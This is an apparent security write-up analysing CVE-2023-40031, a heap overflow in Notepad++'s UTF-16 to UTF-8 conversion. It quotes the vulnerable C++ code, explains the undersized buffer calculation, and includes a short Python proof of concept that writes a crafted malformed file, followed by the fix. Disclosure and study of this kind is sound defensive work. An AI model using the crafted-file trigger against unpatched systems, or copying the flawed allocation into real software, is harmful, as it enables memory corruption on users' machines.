CVE-2023-40031 — Notepad++ Heap Buffer Overflow in UTF-16 → UTF-8 Conversion

Severity	High (CVSS 7.8)
Type	CWE-122 (Heap-based Buffer Overflow) / CWE-787 (Out-of-bounds Write)
CVE	CVE-2023-40031
Affected	Notepad++ ≤ 8.5.6 (analyzed on v8.5.2)
Patched	8.5.7
Affected file	PowerEditor/src/Utf8_16.cpp → Utf8_16_Read::convert()
Credit	GitHub Security Lab (GHSL-2023-092)
Advisory	GHSL-2023-092

Overview

A heap buffer overflow occurs in the free source-code editor Notepad++ when it opens a crafted file. The flaw lives in the UTF-16 → UTF-8 conversion path, where the output buffer is sized with an optimistic len + len/2 + 1 formula that a malformed, odd-length UTF-16 stream can overrun.

Analysis

I downloaded the vulnerable source (v8.5.2) and analyzed it. Because Notepad++ publishes its source openly on Git, the difference between the vulnerable and patched versions can be compared directly.

A Git source compare pinpoints where the buffer overflow happens.

The function is Utf8_16_Read::convert(). It converts the contents of the input buffer (buf) according to the encoding passed in (m_eEncoding), and returns a pointer to the converted data together with its size.

When a file is first read, the following logic runs. It sets a few initial values and calls determineEncoding() to identify the file type.

static size_t nSkip = 0;
	m_pBuf = (ubyte*)buf;
	m_nLen = len;
	m_nNewBufSize = 0;
 
if (m_bFirstRead == true)
    {
		determineEncoding(); // detect the encoding here
		nSkip = m_nSkip;     // the number of bytes to skip is set here
		m_bFirstRead = false;
	}

determineEncoding() sets the initial value of m_nSkip. It inspects the file’s BOM to decide the encoding, and sets m_nSkip according to the BOM size.

BOM (Byte Order Mark)

The BOM sits at the very start of a file and determines how the file is interpreted. For example, if the file begins with \xfe\xff, it is treated as UTF-16 BE.

void Utf8_16_Read::determineEncoding()
{
	INT uniTest = IS_TEXT_UNICODE_STATISTICS;
	m_eEncoding = uni8Bit;
	m_nSkip = 0;
 
    // detect UTF-16 big-endian with BOM
	if (m_nLen > 1 && m_pBuf[0] == k_Boms[uni16BE][0] && m_pBuf[1] == k_Boms[uni16BE][1])
	{
		m_eEncoding = uni16BE;
		m_nSkip = 2;
	}
    // detect UTF-16 little-endian with BOM
	else if (m_nLen > 1 && m_pBuf[0] == k_Boms[uni16LE][0] && m_pBuf[1] == k_Boms[uni16LE][1])
	{
		m_eEncoding = uni16LE;
		m_nSkip = 2;
	}
    // detect UTF-8 with BOM
	else if (m_nLen > 2 && m_pBuf[0] == k_Boms[uniUTF8][0] &&
		m_pBuf[1] == k_Boms[uniUTF8][1] && m_pBuf[2] == k_Boms[uniUTF8][2])
	{
		m_eEncoding = uniUTF8;
		m_nSkip = 3;
	}
	...
}

Back in convert(), splitting by type: for the 7-bit, 8-bit, and Cookie encodings, the original data is passed through as-is without any conversion (as the comment notes).

switch (m_eEncoding)
{
	case uni7Bit:
    case uni8Bit:
    case uniCookie: {
        // Do nothing, pass through
		m_nAllocatedBufSize = 0;
        m_pNewBuf = m_pBuf;
		m_nNewBufSize = len;
        break;
    }

For UTF-8, the BOM-sized prefix is skipped and the remainder is used.

 case uniUTF8: {
     // Pass through after BOM
	 m_nAllocatedBufSize = 0;
     m_pNewBuf = m_pBuf + nSkip;
	 m_nNewBufSize = len - nSkip;
     break;
 }

For UTF-16, the code computes the maximum post-conversion buffer size (newSize) — and this size calculation is the point to watch.

case uni16BE_NoBOM:
case uni16LE_NoBOM:
case uni16BE:
case uni16LE: {
    size_t newSize = len + len / 2 + 1;  // vulnerable line
 
	if (m_nAllocatedBufSize != newSize)
    {
		if (m_pNewBuf)
			delete [] m_pNewBuf;
        m_pNewBuf  = NULL;
        m_pNewBuf  = new ubyte[newSize];
		m_nAllocatedBufSize = newSize;
    }
 
    ubyte* pCur = m_pNewBuf;
 
    m_Iter16.set(m_pBuf + nSkip, len - nSkip, m_eEncoding);
 
	while (m_Iter16)
	{
		++m_Iter16;
		utf8 c;
		while (m_Iter16.get(&c))
			*pCur++ = c;
	}
	m_nNewBufSize = pCur - m_pNewBuf;
 
    break;
}
default:
    break;

The developer assumed that converting valid UTF-16 to UTF-8 would never grow by more than 1.5×, and sized the buffer with the formula above.

For example, the Korean character ‘강’ grows 1.5× from UTF-16 to UTF-8:

• UTF-16 : \xac\x15 (2 bytes)
• UTF-8 : \xea\xb0\x95 (3 bytes)

So the “max 1.5×” assumption fits a normal conversion exactly. Numerically:

• length 10 → newSize = 10 + 10/2 + 1 = 16 → safe
• length 2 → newSize = 2 + 2/2 + 1 = 4 → safe

Several tricks can defeat that +1 of slack (surrogate pairs, odd-byte attacks, repeating the 0xFFFF boundary value, …). Here we look at triggering the overflow by injecting malformed data.

Suppose the input is \xff\xff. When only a trailing \xff is left over, convert() sees invalid data and tries to emit the standard replacement character. To summarize:

1. The input grows 1.5×:
   • input : \xff\xff (2 bytes)
   • output : \xef\xbf\xbd (3 bytes)
2. The file’s final \xff (1 byte) is left over and raises an error. (Why? UTF-16 is read in 2-byte pairs; if a single \xff byte remains at the end, the converter has no matching pair and emits a final replacement character.)

The instant that leftover 1 byte becomes a 3-byte replacement character through the converter, it overruns even the +1 of headroom in newSize = len + len/2 + 1.

PoC

The published PoC:

with open("poc", "wb") as f:
  f.write(b'\xfe\xff')
  f.write(b'\xff' * (128 * 1024 + 4 - 2 + 1))

• The leading \xfe\xff forces the first decode down the UTF-16 path, reaching the vulnerable newSize branch, while the \xff bytes drive the buffer overflow.
• 128 * 1024 matches Notepad++‘s read granularity: files are typically read in 128 KB chunks, so this fills one base work unit of 128 KB.
• The -2 accounts for the BOM (\xfe\xff, 2 bytes) being excluded from the conversion target — m_Iter16 is set on m_pBuf + nSkip with length len - nSkip:

m_Iter16.set(m_pBuf + nSkip, len - nSkip, m_eEncoding);

• The final +1 makes the total length odd, leaving a single trailing \xff byte — exploiting the UTF-16 pairing behavior described above.

Remediation

The UTF-16 conversion was changed to allocate a more generous buffer:

size_t newSize = (len + len % 2) + (len + len % 2) / 2;

References

• GHSL-2023-092 — Notepad++ advisory
• CVE-2023-40031
• CWE-122: Heap-based Buffer Overflow
• CWE-787: Out-of-bounds Write